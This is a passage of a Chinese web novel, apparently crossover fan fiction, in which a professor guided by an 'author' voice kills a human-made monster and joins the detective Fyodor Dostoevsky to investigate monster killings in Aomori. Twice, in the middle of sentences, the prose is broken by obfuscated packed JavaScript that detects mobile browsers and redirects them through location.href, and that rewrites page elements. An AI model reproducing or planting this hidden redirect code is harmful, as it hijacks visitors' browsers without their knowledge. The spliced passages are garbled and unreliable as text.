他们说得对,自己真的很没用。既没有死亡的勇气,也没法坚持着活下去,甚至连交通堵塞这样的问题都解决不了,简直没用到了不配做人的地步。 但是……可是…… “明明不是你的错。”它说。 说话的是一团漆黑。黑得让人觉得它根本不存在体积的概念,像世界无法愈合的一道创口。 ——这是只有怪物才拥有的颜色。 怪物说:“很荒谬吧,这样的社会。你明明什么都没有做错,但依旧失败了。你的灵魂无处容身,你的心被吃得一干二净。” 为什么……为什么会这样! “从主观的角度来说,那是因为他们都是吃人的怪物。但实际上,他们都自称为人。” 怪物说:“所以答案是这样的:你才是那个非人的怪物。你在这个社会中罪有应得。” 我罪有应得……吗。 “你错在和他们不是同类,不过不必担忧,当怪物也有很好的地方。”它说,“至少,作为人类时无法实现的愿望,变成怪物后可以轻而易举地达成。” 愿望? 能够实现愿望吗…… 人类似乎听到了怪物的嘟哝声,像在笑,但又像是在悲伤。他不知道,他不明白。他只是紧紧地攥着自己“愿望”,好像那是最后一根稻草。 “说出你的愿望。”怪物的声音可以算得上温柔,“你能实现它的。” 我想。 我想…… 如果能更快一点就好了。 如果能越过这些阻碍就好了。 如果能自由……就好了。 车内突兀地传出一个中年男人的啜泣: “我只是,不想……把事情变得那么糟糕……” 怪物安安静静地看着人类的最后一次哭泣。 等到人再也流不下一滴泪水,它站起身,黑暗给了他一个拥抱。 于是黑色的瘦长肢体戳破人的皮囊,挣扎而出,一根舌头顶破人类的颅骨。一只怪物“哀哀”地鸣叫着来到了这个世界。 “你自由了。”怪物说。 “你自由了。”夏章雾说。 刀锋插入舌状物的根部、也就是大脑所在的地方,然后搅动,发出“咕叽咕叽”的古怪声响。最后一阵抽搐触电般地掠过这个可悲生物的身体,然后彻底失去了动静。 “第一次杀死怪物的感觉怎么样?” 作者问道。 夏章雾垂微微抿唇。他拔出手中的刀,然后用衣袖一点点地擦干上面残留的血液和脑浆——和人类一样鲜红的血,也和人类一样滚烫。 “很糟糕。” 4. “世界” 怪物已经死了。 毕竟经过了“作者”的亲自鉴定,这个家伙算是死得相当彻底,根本没有复活的可能。 一个麻烦解决了,但麻烦的事情绝对不止这一件——尤其是对夏章雾来说。 “欸,你别哭啊。” 夏章雾满脸纠结地用手在小姑娘的面前晃来晃去,完全忘记了他现在满脸鲜血的样子只能把小朋友吓得更厉害:“我不吃人的。吃人的怪物已经不在了。” “呜,呜呜,嗝。不要……怪物!” 然而小姑娘还是在非常不给面子地哭着。虽然眼睛都已经哭肿了,但泪水还是从她的眼眶里面不断地流出来,在皱巴巴的脸颊上汇聚成亮晶晶的水泊。 夏章雾张了张嘴,感觉自己像是个罪大恶极的人贩子。他尝试向围观群众求助,结果发现周围根本没有围观群众,一个人都没剩下。 “不是,到底要怎么安慰小孩啊!” 他抓了抓头发,发出有些崩溃的声音。 “不知道呢。” 画外音很同情地说:“不过人一般不会哭超过半小时,也许你再等等就没事了?” “拜托,你可是作者,能不能靠谱点?” 夏章雾绝望地蹲在地上,发出和小朋友不相上下的痛苦呻吟:“让她再哭二十多分钟?别开玩笑了,警察来了后我绝对会以‘虐待儿童罪’抓起来的!见鬼,小孩子怎么这么能哭,你说我现在去买甜食来忽悠她行不行?” “应该可以?” 画外音似乎也拿不准主意:“你先等等,我用后台网页搜索一下怎么哄小孩……” 夏章雾于是满怀期待地等待着下文。 “哦,网上是这么说的:三岁以后的小孩哭了的话,其实可以不用去哄。” 画外音听上去像是在纠结又严肃地朗读着什么:“对待孩子情绪失控的哭,我们要做的应该是共情、鼓励和解决问题。你别说,听上去挺有道理的。” 共情、鼓励和解决问题。 夏章雾满脸严肃地点了点头。 是这样吗?他悟了! 然后他转过身,对小女孩露出了和颜悦色的笑容:“小姑娘,刚刚是不是很害怕啊?” ——这是共情。 “咕。”女孩瑟缩了一下。 “没事,害怕很正常。我知道你害怕。不过你能面对这么大的怪物已经很勇敢了,很多大人都跑掉了呢。” ——这是鼓励。 似乎是回想起了怪物的样子,小女孩颤抖起来,眼角汇聚起大颗大颗的泪珠。 “不用难过,怪物已经死了。而且它们也没有什么大不了的,被子弹打中要害照样会死。下次你见到它们时只需要拿着儿童左轮,瞄准它们的心脏啊肺部啊脊椎啊之类的地方,开枪!这样一切都解决了!超简单的!” ——这是解决问题。 夏章雾的脸上保持着微笑,觉得自己简直完美地贯彻了这三条原则:不管怎么看,这小姑娘都没有理由继续哭下去了吧? 女孩泪眼汪汪地看着他,的确安静了几秒。 然后就突然崩溃般地哭得更大声了。 “呜呜,妈妈——!我要妈妈!” “……”这是笑容终于绷不住了的主角。 “……”这是默默关掉了营销号页面的作者。 “都怪你。”夏章雾扭过头,毫不犹豫地对画外音进行道德谴责,“你看,这下把小姑娘都吓哭了。” “明明吓哭人家的是你诶!” “但方案就是你提供的啊!多少也对面前的情况负点责吧!” 为了逃避隐隐作痛的良心,两个大人纷纷对彼此指指点点起来,恨不得把所有的锅都一口气扣在对方头上。 最后结束了这场闹剧的是匆匆赶来的日本刑警队伍。更准确地说,是一位不知怎么混进刑警队伍里的俄罗斯侦探。 “安静点。再哭的话,怪物会把你吃掉哦。” 侦探先生蹲下身子,笑眯眯地说道,并且马上就得到了一个哭声瞬间哑火的孩子。 还在和画外音吵架的夏章雾抬起头来,一脸震惊地看着用手捂住嘴巴、突然不哭也不闹的小女孩,然后又看向俄罗斯人。 ——他的脸上全是敬佩。 “原来如此。”夏章雾说,“我已经学会该怎么和小孩子交流了!” “真的吗,我不信。”画外音幽幽地开口。 “不需要你信。” 夏章雾咳嗽一声,快速地恢复了正常,只有嘴角的弧度怎么都压不住:“等下次见到喜欢哭的小朋友时,我绝对会让你大吃一惊。” “……大可不必,你现在就已经让我产生不太妙的预感了。还有你到底要对无辜的小孩子们做什么啊!我要举报你虐童了!” 夏章雾反应很快:“我还什么都没有做呢,不要造谣!” 费奥多尔站起身,没有管不远处的闹剧,只是拉住女孩的手,把这个彻底不敢哭了的孩子交给旁边那位显得有些目瞪口呆的刑警。 “先带回警局吧,等她冷静下来后再询问家庭信息。”他说。 “好、好的,费奥多尔先生!” 对方急忙回应。 明明是不属于警视厅的编外人员,但警察在他面前却表现得格外尊敬,甚至唯唯诺诺得简直像是兔子。 注意到这点的夏章雾暂停了与作者的吵架,很感兴趣地望过去,对在日本还能看到这样的场景多少感到有点惊讶:他一直以为能把当地警察使唤得团团转的侦探只有柯南·道尔爵士呢。 “这样腹诽别人可不礼貌。” 画外音说。 你这样偷看别人心里的想法更不礼貌。 夏章雾很想这样回一句,但最后还是控制住了自己,因为他看到那位侦探在处理完了小女孩的事后,径直朝自己走了过来。 “早上好,勒托先生。” 对方的脸上浮现淡淡的微笑:“没想到能在这里再会。” 勒托? 夏章雾有些错愕地眨了眨眼睛,然后突然反应过来:哦,当时他是这么介绍自己的姓氏的。夏天的夏。 而俄语里的夏天就是“勒托”。 这个时候再纠正似乎就有点不礼貌了。于是夏章雾表情严肃地点了点头,好像那就是自己的名字一样:“的确,我也没预料到能在这里看到您,费……” 他因尝试回忆对方的名字而卡壳了片刻,硬是没有想起来那一长串音节的具体内容,于是开始悄悄地给画外音使眼色。 ——快救一下啊,他真的想不起来了! 那个自称作者的家伙叹了口气。 “我替你感到丢脸。”它用看到自家儿子数学考了不及格的深沉语气说。 对面的俄罗斯人似乎也微微叹了口气:“费奥多尔·米哈伊洛维奇·陀思妥耶夫斯基。” 在重新报了一遍自己的名字后,他露出无奈的笑:“如果有很多东西都想不起来,您也可以随身带一个记事本的。” “……” 夏章雾沉默了片刻。 “他这是在阴阳怪气吧?这绝对是在阴阳怪气我的记忆力吧。可恶,亏我还以为他很有礼貌!” 他立刻把使用的语言切换成了希腊语,满脸不爽地向画外音吐槽道。 “需要我提醒你吗?是你先不礼貌的。” 画外音礼貌地说:“而且你换语言也没用,人家也能听得懂希腊语。” “……”人类学教授的表情僵住了。 他看向俄罗斯侦探。对方也看向他。 夏章雾用手捂住脸,深吸一口气。 “下次我会用挪威语的。” 他用苦大仇深的语气说。 “可以用方言版本。”费奥多尔给出建议,“这样我听不懂的可能性要大一些。” “哦?” 夏章雾眼睛一亮,内心的胜负欲突然燃烧起来:“如果我用的是中式撇脚发音版本的挪威语,阁下又要如何应对呢?” “……”费奥多尔沉默了片刻,最后他笑着吐出一口气,摇摇头,主动认输。 “您就饶了我吧。”他说,然后走去看那具被杀死的怪物尸体了。 夏章雾先生笑眯眯地比了个“耶”的手势。 “我真天才。”他对画外音说,然后把对方紧跟而来的阴阳怪气当成了耳旁风,主动跟着侦探走到怪物尸体边,第一次近距离地端详起这个被自己杀死的怪物。 “它的身体构造很不合理。” 夏章雾开口。 在杀死对方的过程中,他就已经察觉到了:这个看似可怕的怪物拥有昆虫的精妙发力构造,却缺少了皮肤或者外骨骼的防护,就连重要的大脑都暴露在外。 任何一个只要手持武器 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135973|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 、足够冷静的成年人都能让它受伤。 “它们是有限制的。” 俄罗斯人蹲下身子,手指扒开怪物身上被切开的刀口,十分自然地从怀里拿出一把猎刀,顺着刀口继续剖开。 “这是一种妥协。”他说。 刀口一路剖到了胸腹的位置,鲜血毫无阻碍地流出。如果是哺乳生物的构造,这里应该是存在肋骨的。 但空空如也。 它的腹部是反常理的空囊,小肠在其中起到了韧带的作用,和系膜一起把各个内脏束缚在它们应该在的位置上。 “肋骨和韧带在哪?”夏章雾问。 “也许在四肢,也许在尾巴。” 费奥多尔说:“但不管如何,缺失的东西肯定能在其他部位找到。” 人类学教授的眉心下意识地跳动了一下。 他明白了对方想表达的意思。 “所有怪物的尸体,最后都能复原出一副完整的人类骸骨。只是过程有些麻烦。” 刀刃随意地划开四肢,这里的肌肉很薄,但韧带和筋膜明显要比正常人更多——很明显,胸腹中缺失的韧带被挪用到了这里。 寻找到答案的侦探收起刀,重新站起,进行客观的陈述:“与其说是由人类变成的怪物,倒不如说是把人类拆分后再次重组的结果。” 毕竟素材就这么多,还要求全部用上,能够组合出个像模像样的东西就差不多了。全方面优于人类的怪物?那不太可能。 “怪不得。” 夏章雾说。 他的目光落在怪物头颅中伸出的舌状物上。堆满褶皱的人皮包裹在它的表面,如果仔细看的话,甚至能发现其上的毛孔和汗毛。 他现在总算知道,为什么它的身上绝大部分位置都没有皮肤的保护了。 因为人类这种拙劣而又脆弱的物种是有极限的,就算变成怪物也是这样。 他把两只手插在口袋里,沉默地看着这个被自己杀死的怪物。 ……“人”吗? 怪异修长的四肢,裂开的头颅,头颅中向前伸出的舌状物。没有来得及闭上的眼睛中还残留着某种不可思议的痛苦。但它还活着时,从胸腔中发出的悲鸣比这还要惨痛上百倍。 怎么看都是对“怪物”的描写。但确实是由人组成的,只不过是一个业已支离破碎的“人”。 不知为何地,作者在战斗时说的那句话又古怪地被他回想了起来: ——它们是人变的。 “喂,费列罗侦探。”他突然说。 “是费奥多尔。”侦探回答。 “哦,费奥多尔侦探。”夏章雾从善如流地改了口,“我从刚刚起就在想一件事。” 费奥多尔“嗯”了声。 “其实我以前在资料上看到过类似的生物。” 夏章雾认真地说。 “你知道吗?凯尔特神话中有一种被叫作寻水兽的怪物。它有蛇一样的头颈与野兽的身子,能跑得非常快。” 从颅骨中伸展出的舌状物,仔细想来,其实也是和蛇极为相似的。更何况它们还同样拥有着兽类的身躯与敏捷的速度。 “故事里,它一直在奔跑。它叫起来的声音像是有几十只猎犬在腹中呼喊。它总是很渴,所以一直在寻找水源。” 人类学教授耸了耸肩:“但它的干渴永远无法被水满足。所以它只能永远寻找下去,直到被杀死的那一天。事情就是这样。” 事情就是这样,再没有什么多余的描述。毕竟寻水兽本身并不是神话的主角,它只是被主角追猎的怪物而已。 但他还是忍不住通过它联想起了那个生物在死前发出的哀哀鸣叫,联想起了那个可悲的生物生前一直尝试着的、往前冲去的动作。 ——它在锲而不舍地寻找哪一片水源? “或许它只是在寻找阿刻戎*。” 俄罗斯人的声音突然响起:“就像是希腊人说的那样:唯有阿刻戎的河水令人遗忘悲伤。” 夏章雾愣了一瞬。他侧过头,发现侦探正注视着他。就像之前在飞机上安静地聆听着他有关“幻觉”的抱怨时一样。 “你让我想起了一个朋友。” 人类学教授说,然后他摇了摇头,突然笑了起来,笑得可以说是灿烂。 他说:“等到现场处理完后,带我回警察局做笔录吧,费奥多尔先生。” 5. 并非平平无奇 就像是之前那位倒霉的司机先生所说的:警察局距离这里并不近。 但夏章雾感觉自己可以借辆摩托车什么的。不过那位俄罗斯的侦探还是坚持要打车。 “在清理掉您身上的血迹前,还是不要用这种方式前往警局比较好。”他用俄语说。 夏章雾这才想起来自己身上还有没法擦掉的血迹。他低头看了眼衣服,发现胸前被血液打湿的部分已经变得干硬起来。 “我才发现。” 他无奈地拽拽衣服,同样用俄语回答:“你是对的。要是以这副样子出现在正常街道上,我估计能再吓哭几个小孩。” 多语言人士的聊天就是这么朴实无华。开启话题的人先用哪种语言,他们就按哪种语言继续聊天:反正都能听得懂,问题不大。 只有司机在前面惴惴不安又满怀好奇地开着车,时不时偷偷地通过后视镜看一眼后桌的两位古怪的乘客。 其中一位身上沾满了血,出血量多到让人怀疑刚刚死了个人——刚看到他时,司机着实心惊肉跳了一会儿。另一位倒是浑身整洁得过分,看上去像是彬彬有礼的贵族。 真是神秘的组合……加上他们的目的地是附近的警察局,就更令人浮想联翩了。 可惜,不知道他们到底在说什么。 听不懂俄语的司机怀着微妙的遗憾心情,收回了目光。这位四十岁了但中二期还没有过,而且很擅长胡思乱想的中年司机突然有种感觉: 一件足以改变世界的大事正在发生。只是因为自己听不懂这种有很多卷舌的语言,它便和他擦肩而过了。 “对了,我能打听一下怪物伤人事件的具体情况吗?”看了会儿窗外的风景,夏章雾像是突然想起了什么,转头向侦探询问道。 “这类案子我在刚来青森时就听说了,但本地人只说目前仅出现在了校园里。我可没想到二十四小时不到就在街上遇到了一例。”他说,“我可不希望这次出国旅行就这么泡汤。” 对方没有立刻回答。 他的目光在同行者的身上停留了片刻,然后才用陈述句的笃定语气说道:“您想参与这次事件的调查。” 哇呜,这也太直接了吧? 好歹为自己的探究心理找了个理由的夏章雾眨了眨眼睛,刚想解释两句,就看到对方眉眼中浮现出了然的笑意。 “所以,是上帝的声音让您这么做的吗?” 他说。 上帝的声音,这明显是个暗指。一般来讲,夏章雾教授应该心有灵犀地明白其中的含义,以此达成一段云里雾里的谜语人对话。 但他……没听懂。 ——上帝的声音?这是啥? 他表面严肃地盯着费奥多尔,然而大脑里面一片空白,好几秒后才反应过来。 哦,指的应该是自己在飞机上随口用上帝举的那个烂例子。这个他是真不记得了:毕竟大多数人都不会去记自己昨天说了什么烂话。 之所以他还能想起来,那是因为此时的画外音正热烈地附和着侦探的说法,像特别喜欢“上帝”这个称呼。 “没错没错!”它得意地叽叽喳喳,“我就是你们的造物主!你可是第一个认识到了我本质的人类!果然,真相往往以玩笑的方式在不经意间被吐出……” 也不知道有什么好激动的。明明面前的这家伙都听不到你在讲什么吧? 夏章雾强忍着露出死鱼眼的冲动,用问题回答了问题:“所以?” “您是在什么时候被告知这件事的?” 侦探轻轻歪了下头,同样用问题回答问题。 这个话题被他们俩像扔沙滩排球一样丢来丢去,没有一个人愿意直接做出回答。夏章雾微妙地“啧”了声,感觉对面比想象中还麻烦得多。 “你真是个比喻鬼才。” 本来还在兴奋的画外音突然打了个激灵:“我完全没法想象你们两个打沙滩排球的样子。” 其实我也没法想象。 夏章雾在内心默默地想:考虑到国籍,场面或许更像对面的毛子喊了声“乌拉”,突然丢过来一个手榴弹,而他为了不让手榴弹在自己这里爆炸,于是把它丢了回去。然后对面又贼心不死地扔了过来…… 画外音没再吱声,它大概是被这完美而贴切的形容震撼了吧。 “这件事很重要?”他问。 “很重要。”俄罗斯人稍微想了想,这次使用了正常的陈述句,“如果可以的话,我想要知道具体的时间。” 夏章雾和对方互相对视了几秒。 “哦——我懂了。” 他挑了下眉,坦然地开口:“一个月前。所以第一起怪物杀人事件发生在哪一天?” “十八天前。” 侦探认真地注视着他:“您得到的是预言。” 预言。 不管在什么题材的故事里,这都是相当不可思议的能力。原因很简单:它涉及到了一个人类长久以来都抱有强烈好奇心的领域。 命运。 命运是否存在?命运是否能被预知?命运能否被改变?它来自神的安排还是人的选择?我们的行为是否真的来自于自己的自由意志?命运到底是什么样的东西? 这或许是人类无法解决的终极难题之一。但夏章雾现在已经知道了它们的答案——如果画外音没有说谎的话。 命运存在,且能被预知。改变也不过是造物主默许的结果。它来自一个三流作家的笔下,所有生命的行为都由这位造物主所构想。而命运的终极面貌……大家都活在一个巨型情绪垃圾焚烧场里算不算? 就非常好笑,令夏章雾忍俊不禁。 “您在笑。”俄罗斯人说。 “抱歉,我在想好笑的事情。比如自己有可能是一位先知什么的。哈,我该去研究一下未来几个月的股市发展吗?” 夏章雾耸了耸肩,他笑得很开心。 “好吧。”费奥多尔看着他,“我上一句话应该换成‘您似乎不怎么开心’的。” “我当然不开心。因为我既不喜欢神,也不喜欢一个催促我去追逐和解决灾难的声音。聆听预言?这也许算是一种才能,但它可没有想象中有用。” 人类学教授指了指自己沾满血的衣服,满脸的嫌弃:“你看,就算有它在,我出门还是会遇到这种事。它甚至不会告诉我,下一个死者到底会是谁。” 别说这个了。今天出门时,那个没用的画外音甚至没有提醒他带点比较管用的武器,以至于他不得不用一把短柄猎刀和怪物搏斗…… “你这话说的。” 画外音幽怨地说:“让我很伤心耶。” “但这不重要。” 费奥多尔拿出一张白手帕,递给手上还沾着血液的夏章雾:“重要的是,给出预言的声音为什么会选择您,并催促您来到这里。” 有关灾难的预言只会被交付给拥有解决灾难能力的人。那些被选中的人,在故事里往往成为了英雄。 “我也不喜欢英雄。” 夏章雾擦了擦手上的血,郁闷地嘟哝。 “但您还是来了。”侦探说。 ——废话,那是因为我不来就会被它用二十四小时喋喋不休的噪声折磨到神经衰弱,在世界被毁灭之前就先行猝死。 夏章雾倒是很想这么说。但他没有开口,因为他知道,这个理由骗骗自己也就算了,大概率骗不了面前的这个人。 于是他打算转移话题。 “说起来,我总感觉你好像很熟悉我。” 他虚起眼睛:“我们之前认识吗?” 说这句话时,夏章雾快速地回顾了一遍自己前面几十年的人生,确认其中没有什么空白或者断裂后,再次给出了肯定的回答: 没有,他从来都没见过这个侦探。 这种说话喜欢故弄玄虚、身上充满神秘色彩、外貌相当鹤立鸡群、除了名字以外哪里都令人印象深刻的家伙,只要见过,他就不可能忘。 “不。”费奥多尔给出的回答很快,甚至还有点微妙的愉快,“我们并不认识,勒托先生。不过我觉得,现在我们可以彼此了解一下。” 持续了一秒钟的沉默。 “妈呀。” 夏章雾突然倒吸一口凉气,侧过头悄悄地对画外音吐槽道:“诶诶,你听到了吗?他这句话简直像个男同耶。” “……?” 画外音真心诚意地评价:“考虑到费奥多尔先生其实能听见你对我说的那些垃圾话,比起他喜欢你,他想杀了你的可能性估计更大。” 于是夏章雾立刻看了看费奥多尔。 哦,没有杀气,那没事了。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15135974|164449||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> “咳咳!” 一点也没有为污蔑他人的性取向感到尴尬,夏章雾先生淡定地咳嗽了两声,便一本正经地开口:“那好吧。我重新进行一下自我介绍。” 他伸出手:“夏章雾,平平无奇的人类学教授,就职于布利切斯特大学。目前正跟随一个没用的声音解决预言中的灾难。如果可以的话,我想先加入官方对此的调查。” “喂喂喂,‘没用’就不用特别强调了吧!” 某个不合时宜的声音表示了反对:“而且我也不是没用!我很有用的!” 然而根本没人在乎它。 “费奥多尔·米哈伊耶维奇·陀思妥耶夫斯基。算是一名追逐着怪物踪迹的侦探。为追查青森的怪物伤人事件来到这里。目前可能缺少一位侦探助手。” 费奥多尔握了一下他的手,脸上有着些微的笑意:“至少这一次,我们有着相同的目标。” “侦探助手?这个我擅长。” 夏章雾说:“我在英国不用备课的时候,经常被亚瑟拉去干这种活。不得不说,苏格兰场的钱倒是一直给得很大方。” “那么,合作愉快?” “合作愉快,费不知道后续是什么先生。” “是费奥多尔。”对方的声音有些无奈。夏章雾则是眯起眼睛,很开心地笑起来。 “嗯,费奥多尔。放心,我现在记住了。就是还有最后一个问题想问。” 出租车穿过最后一个红绿灯,在一个刹车后稳稳地停在了警察局前。夏章雾在从口袋里拿钱的时候,顺便看了眼腕表。 总共二十一分钟,不多不少。 “我之前以为您是有着喜欢在第一次见面的人身上放定位器的特殊爱好。但目前来看,好像只有我得到了这种待遇。” 他歪过头,认真地问道:“我知道,怪物杀人事件的幕后推动者是我们共同的首要目标。但您的次要目标,应该不会是我吧?” 说完,夏章雾又谨慎地补充了几句。 “我得提醒一下您。”他说,“您的目标是我也没用。我的性取向一直很正……啊呸,我的意思是,我真的只是一个普通人。” “也许您觉得我作为被预言选择的人,肯定很不同寻常。但实际上,我二十多年的人生素来平平无奇。你看,我甚至连异能者都不是。连我自己都不知道为什么它会选择我,在我看来,我的许多朋友都比我更有资格。” 这话绝对是真心的。 夏章雾回忆了一下自己身边认识的人们:比如隔壁法学院的自闭症天才卡夫卡教授,比如不着调的名侦探邻居柯南·道尔,比如为珍惜动物跑遍全球的网友道格拉斯…… 嗯,平平无奇,确实没毛病。 但某些家伙对这句话好像并不是很认同的样子。 “你?平平无奇?” 画外音抬高了音调,用“你是不是在侮辱我这个作者”的震惊语气反问:“你是觉得我选择主角的眼光有毛病吗?” 它好像真的很生气,好像“平平无奇”这个词是在骂它自己似的。 不过这也正常。不管是哪个作者,在自己精心创造出来的主角得到这种评价后,都不会太开心。不过—— “你是不是太入戏了?” 夏章雾用看傻子的眼神看着无人处:“我又不是被你选出来的。按照你的说法,我是被你作为拯救世界工具人而创造出来的。所以这并没有办法证明你的眼光问题,只能证明你的造人能力实在是烂透了。” “怎么就烂了!你是对自己有什么不满吗?” “作者”更愤愤不平了:“要能力有能力,要正义感有正义感,一看就是上等的牛马。就是嘴太烂了,我一定要找个机会,在接下来的剧情里让你的声带出点问题……” 喂喂喂,不就是怼不过我嘛!你好歹也是个作者,至于和自家主角掀桌子耍赖吗? 夏章雾下意识摸了摸自己的喉咙,很明智地没有继续作死地用言语挑衅对方。但作者显然已经下定了某种决心。 “好!你不是说自己连异能者都不是吗?” 它毅然决然地说:“我现在就给你异能:绝对特殊,绝对令人印象深刻的那种!你给我等着好了!而且我才不是没用的家伙——给我对自己的创造者抱有一点基本的尊重啊,混蛋!” 6. 是的孩子们,我还活着 四月七日,多云。 警察办公室里,江户川蓝峰眉头紧锁,翻阅着手头的案情报告与总结。 手头记录的东西比鸟山石燕的《百鬼夜行》还要荒诞不经。仅仅是人类骨肉血的重新排列组合而已,制造出的怪物却远远超越了人想象力的极限。 被拆开后重新镶嵌在牙齿上的眼球,蠕动着从大脑上钻出的毛发与指甲,属于人类的幼嫩指头密密麻麻地生长在口腔中…… 在真实的怪物面前,人类对怪物的想象是如此苍白。这些怪物并非特别强大,至少远远没到达热武器都解决不了的地步。但光凭自己亵渎的外表,它们就能引起巨大的恐慌,让普通人丧失所有应对的勇气。 然而江户川蓝峰却以研究的姿态认真地打量着照片,结合着密密麻麻的文字报告,尝试寻找出这些死者、这些怪物身上的共性,或者是别的什么值得在意的东西。等到他终于确认完毕,这张照片才会被拿开。 这是相当枯燥的重复劳动。同时新的案件报告还在被源源不断地送过来,不断增加他的工作量。 最开始,他还打算与目击者直接交流。但整整忙了十几个小时后,他才发现这绝对不是自己一个人就能处理的工作量,不得不让他们去找其他警员讲述自己目击到的事件内容。 按照江户川蓝峰对那些警察的了解,这些证词肯定会有疏漏,说不定还会错过关键信息。但没有办法,他一个人实在做不到面面俱到。 他做的事情已经够多了:定位受害者群体、追查流动人口、分析被害人出行路线、调取信息库、和各方进行协调……有时还要前往现场。如果再加点工作量,他觉得自己可能要在查出眉目前就猝死在办公桌上。 如果她也在就好了。 江户川蓝峰把自己处理好的一份案件报告放在一边,然后便想到了不久前,警局接到的有关怪物伤人事件的新报告。 这种工作仿佛永远都处理不完的感觉让他有些惆怅地怀念起了自己的妻子江户川菊,发自内心地承认需要她的帮忙。 但她不在这里。青森目前的情况太危险,他更不可能主动要求她来这儿。所以能够帮他的只有他自己。 或许还有费奥多尔·陀思妥耶夫斯基。 只是想了一下那个俄罗斯人,江户川刑警本来就皱着的眉便不由自主地皱得更深了。 神秘的家伙。他想。 江户川蓝峰从很久之前就知道这位侦探了:那个人的存在近乎于某种都市传说。据说他似乎一直都在追逐某种特殊生物的踪迹,并尝试猎杀它们。最重要的是,他好像对自己的目的没有任何掩饰的意思。 基于这一点,日本政府,不,或者说各国的政府都与他展开过不止一次的合作,就是为了对付那些特殊的生物。不过这种合作往往都是隐秘的、暗中的。至少在江户川蓝峰还没有退休的时候,他从没有亲眼见过这个神秘的侦探。 而他第一次见到费奥多尔·陀思妥耶夫斯基则是在自己退休回到家乡后:一年前,这个奇怪的俄罗斯人突然出现在了他的面前,并救下了他和妻子的命。 江户川蓝峰还记得,他们间的交流是以十分古怪的问候开始的。 “您快死了。” 在门被打开时,那位侦探看着他,用无比平静的语气说:“您和您的妻子都快死了。您在作为刑警时深入了不该知道的秘密,代价很快就会追上你,只有死亡才能偿还。” 打开门的江户川先生愣了一瞬。 这句话听上去很像是某种恶劣的威胁,或者不那么好笑的玩笑。但江户川蓝峰在看到对方那对没有什么情绪的酒红色眼睛后,就意识到面前的人是认真的。 他的话也是认真的。 江户川蓝峰并不畏惧死亡,但正义的人总有可以被不择手段者利用的弱点,他的弱点便是家人。更何况,他那过于聪明的独子乱步还没有成长起来。 如果自己和妻子突然死去,过于聪慧、但也在他们刻意培养下有着与常人迥异三观的江户川乱步要怎么在这个世界上生存下去? 那绝对不会是一个美好的答案。 “你想要我做什么?” 想清楚自己选择的江户川蓝峰严肃地望着对方,跳过中间无意义的对话,直接问道。 只要不是太违背内心准则的事情,他都已经做好了允诺的打算。 俄罗斯人似乎有些诧异地看了他一眼,然后便突然笑了起来。 他的笑在脸上留下的痕迹很淡,几乎只能从那对酒红色的眼睛中看到,但却包含着明显的讽刺意味。只是江户川蓝峰并不能不确定这份讽刺到底是在针对谁。 “不,我不知道。但如果运气好的话,明年四月,我会来找您索要这份债务的。” 费奥多尔这样说。在与业已退休的江户川刑警的短暂交流中,他平淡的语气中第一次带上了或许可以被称为愉快的情绪: “希望您到时候已经做好准备了,江户川先生。” 听起来就像是在和魔鬼做交易。但江户川蓝峰答应了:一年的时间,足够他和妻子锻炼着乱步成长起来。到时候,就算真的要用自己的生命来作为偿还,他也能接受。 江户川蓝峰从回忆当中抽回思绪,把手中这份案件的报告也整理完毕,放在一旁。 回忆并没有减慢他审阅文件的速度,一心多用对他来说并不有多困难。而且对这种复杂问题的思考,反而能有效缓解他不断进行重复工作带来的疲劳。 他继续想着—— 那位神秘的侦探的确救了他们的命,但也给喜欢探知真相的刑警留下了扑朔迷离的谜团。 江户川蓝峰与自己的妻子讨论过这个人。他们都可以看得出来:对方正在等待某件发生在明年四月的事。不过费奥多尔很有可能并不知道那件事究竟是什么。 所以在发生前,俄罗斯人要做好尽可能万全的准备,来应对任何可能的展开。 江户川蓝峰就是他的准备之一。 江户川蓝峰可以确信:这位侦探肯定不是只找了自己一个人,他肯定让很多人都欠了他的人情,以便在未来得到相应的帮助。 这些东西都是可以推测出来的。但有两件事一直困惑着他:所以明年的四月会发生什么?费奥多尔又是怎么知道的? ——给人的感觉简直像是他得到了一份模糊不清的、暗示着灾难的预言。而他正在为预言中的未来不断奔走。 但……预言?这真的存在吗? 江户川蓝峰从未听说有人拥有类似的异能。甚至在漫长的历史中,这种异能都没有得到任何切实的记录。只有在神话里,才能找到这种仿佛神赐的能力存在的踪迹。 他本以为自己的迷惑能在应约之日得到应有的解答。但事实上,在四月一日,费奥多尔给他打了一通电话后,谜团不仅没有被解开,反而越变越多了。 整理好一份受害者的档案,把它随手放在高高的文件堆上。江户川蓝峰打开今天早上才被送过来的档案袋。 他的视线从上面一扫而过,脑海中却在专注地回想着自己在六天前和费奥多尔通过电话进行的短暂交流。 “江户川先生。” 电话那头的声音显得很礼貌:“我听说您被警察局返聘,现在正着手青森的一起大规模怪物杀人事件?” “费奥多尔先生?” 江户川蓝峰在听到对方开口的一瞬间,他就清楚地明白了一点:他所等的就是自己手中的这份案件。 在接电话的同时,他快速地随手翻了遍手头的案情报告,快速回忆自己上个月经历的种种变故,并很快就意识到了其中隐约的安排痕迹。 “是您让我被重新聘用的?” 他谨慎地询问,同时开始思考欠这家伙人情的人到底有多少,都是什么职位:这种能量似乎有些太恐怖了些。 “希望您会喜欢这样的安排。” 费奥多尔的声音依旧彬彬有礼:“这个身份更方便我们的合作。而且考虑到这起案件的麻烦程度,您确实是最该待在这个位置上的人。” 